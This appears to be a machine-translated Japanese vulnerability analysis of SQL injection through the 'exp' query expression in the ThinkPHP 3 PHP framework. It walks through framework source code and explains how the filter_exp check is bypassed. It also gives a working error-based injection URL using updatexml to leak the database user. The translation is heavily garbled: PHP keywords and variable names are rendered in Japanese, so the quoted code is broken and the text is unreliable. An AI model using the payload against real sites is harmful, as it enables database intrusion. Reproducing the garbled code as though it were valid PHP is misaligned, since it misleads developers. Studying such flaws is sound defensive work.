これは、最近のJavaフレームワークのソースコードも少し頭痛が、また、お馴染みのレビューの多くを探しています
行うにはないことがたくさん...男Manaoがあります。
オンラインは、今の私に満ち特段の詳細な分析を持っていないようです。
EXP表現0x01というTP3
形式を使用して式を問い合せます。
地図の$ [ 'フィールド名'] = 配列( '式'、 'クエリ');
クエリ式をサポートし、小文字を区別しない式の場合、それぞれ意味し、次のカテゴリされています。
フォーカスEXPを見てください
EXP式は、SQLクエリ構文のSQLインジェクションが生産するのは非常に簡単ですサポートしています。
$マップ [ 'ID'] = 配列( 'で'、 '1,3,8')。
に変更することができます。
$マップ [ 'ID'] = 配列( 'EXP'、 '(1,3,8 IN)')。
条件EXPクエリ文字列として扱われることはありませんので、クエリが背後にある機能やフィールド名の使用を含む、任意のSQL構文のサポートを使用することができます。だけでなく、クエリのクエリ式は、データの更新は、例えば、使用することができます。
例えば、より複雑なクエリをサポートしています:
ユーザー$ = M( "ユーザー"); // Userオブジェクトインスタンス に割り当てられたデータオブジェクトの属性を変更する// $データ [ '名前'] = 'ThinkPHP' ; $データ [ 'スコア'] = 配列( 'EXP' 、 '+スコア1。'); // ユーザ積分プラス1人の。 $ユーザ - >() - >(保存'= ID 5' $データ); //は、条件に応じて変更されたデータを保存します
クエリ式
地図の$ [ 'フィールド1'] = 配列( '式'、 'クエリ1' ); $地図 [ 'フィールド2'] = 配列( '式'、 'クエリー条件2' ); $モデル - > WHERE($地図) - > SELECT();
0x02のexp式インジェクション分析
上記は、EXPの使用の簡単なデモで、この時間は、アレイに渡すことができ、次いで、直接注射を生成するためにスプライスされ、基礎となるSQL文をEXPモードを使用
http://www.qing-tp3.com/index.php/home/index/index2/?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0 )
F7続きます
\ ThinkPHP \ライブラリと\ \ Dbの\ Driver.class.php 504ラインを考えます
foreachの($ AS $キー => $ヴァル){ IF(IS_NUMERIC($キー)){ $キー = '_Complex' ; } IF(0 === strpos($キー、 '_' )){ // 解析特別な条件式 $ whereStr =。$この - > parseThinkWhere($キー、$ヴァル); } 他{ // セキュリティフィルタリングクエリフィールド IF //(するpreg_match( '/ ^ [A-Z_ \ |。\&\ - A-Z0-9 \(\)\、] + $ /'!、TRIM(キー$))){ // E( L( '_ EXPRESS_ERROR _') ':' .. $キー); //} サポート//複数の条件 $マルチ = IS_ARRAY($ヴァル)&& ISSET($ヴァル [ '_multiを' ]); $キー = TRIM($キー); IF(strpos($キー、 '|')){ // サポート名|タイトル|ニックネームクエリフィールドの定義 $アレイを = 爆発( '|'、$キー); $ STR = 配列();
表示判決
最初parseKeyあります()
保護された 関数 parseKey(&$キー){ $キー = トリム($キー)。 もし(!IS_NUMERIC($キー)&&!するpreg_match( '/[,\'\"\*\(\)`.\s]/'、$キー)){ $キー = '`'。$キー「。 `」; } リターン $キー; }
filter_exp
関数 filter_exp(&$値){ 場合(in_array(strtolower($値)、アレイ( 'EXP'、 'または' ))){ $値 = '' ; } }
私は、機能コードを集中します:
// 取值操作 $データ = $入力 [ $名]。 IS_ARRAY($データ)&& array_walk_recursive($データ、 'filter_exp' ); $フィルタ =の ISSET($フィルター)?$フィルタ:C( 'DEFAULT_FILTER' ); もし($フィルター){ 場合(IS_STRING($フィルター)){ $フィルター = 爆発( ''、$フィルター)。 } ELSEIF(is_int($フィルター)){ $フィルター = 配列($フィルター)。 } foreachの($フィルタ として $フィルター){ 場合(function_exists($フィルタ)){ $データ = IS_ARRAY($データ)array_map_recursive(?$フィルタ、$データ):$フィルタ($データ)。// 参数过滤 } 他{ $データ =にfilter_var($データ、is_int($フィルター)?$フィルタ:filter_id($フィルター)); もし(偽 === $データ){ リターン ISSET($デフォルト)?$デフォルト:NULL ; } } } } } 他 { // 变量默认值 $データ =の ISSET($デフォルト)?$デフォルト:NULL ; }
だから、あなたがインスタントの有効なフィルタリングはありません見ることができますが、filter_exp、書かれている場合であります
開発者は私を書く場合(「get.id」、「」、「」トリム)のでfilter_expは私が機能fiter前に、その後、無効ろ過で、その結果、EXPスペースの後ろに直接削除します。
戻り値:
} 他{ $ whereStr。= $キー「。=」。$この - > parseValue($ valの); } } を返す $ whereStrを。